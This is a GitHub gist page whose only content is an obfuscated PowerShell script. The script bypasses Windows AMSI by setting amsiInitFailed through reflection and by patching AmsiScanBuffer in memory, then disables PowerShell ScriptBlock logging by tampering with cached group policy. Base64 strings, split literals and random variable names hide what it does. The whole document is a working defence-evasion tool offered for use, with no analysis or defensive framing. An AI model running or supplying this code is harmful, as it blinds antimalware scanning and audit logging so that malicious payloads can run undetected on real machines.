Skip to content

Instantly share code, notes, and snippets.

@michiiii

michiiii/gist:05747df03815e967a0f3488a9d84b9cf

Created June 12, 2023 13:37
Show Gist options
  • Save michiiii/05747df03815e967a0f3488a9d84b9cf to your computer and use it in GitHub Desktop.
Save michiiii/05747df03815e967a0f3488a9d84b9cf to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. michiiii created this gist Jun 12, 2023.
    62 changes: 62 additions & 0 deletions gistfile1.txt
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,62 @@
    $a64 = 'UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA=='
    $a = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($a64))

    $b64 = 'YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='
    $b = [System.Text.Encoding]::Unicode.GetString([System.convert]::FromBase64String($b64))

    [Ref].Assembly.GetType($a).GetField($b,'NonPublic,Static').SetValue($null,$true)

    # new technique that works on Windows 11
    $ZQCUW = @"
    using System;
    using System.Runtime.InteropServices;
    public class ZQCUW {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);
    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
    }
    "@

    Add-Type $ZQCUW

    $BBWHVWQ = [ZQCUW]::LoadLibrary("$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))")
    $XPYMWR = [ZQCUW]::GetProcAddress($BBWHVWQ, "$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))")
    $p = 0
    [ZQCUW]::VirtualProtect($XPYMWR, [uint32]5, 0x40, [ref]$p)
    $TLML = "0xB8"
    $PURX = "0x57"
    $YNWL = "0x00"
    $RTGX = "0x07"
    $XVON = "0x80"
    $WRUD = "0xC3"
    $KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
    [System.Runtime.InteropServices.Marshal]::Copy($KTMJX, 0, $XPYMWR, 6)



    $GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')

    If ($GroupPolicyField) {

    $GroupPolicyCache = $GroupPolicyField.GetValue($null)

    If ($GroupPolicyCache['ScriptB'+'lockLogging']) {

    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0

    $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0

    }

    $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()

    $val.Add('EnableScriptB'+'lockLogging', 0)

    $val.Add('EnableScriptB'+'lockInvocationLogging', 0)

    $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val

    }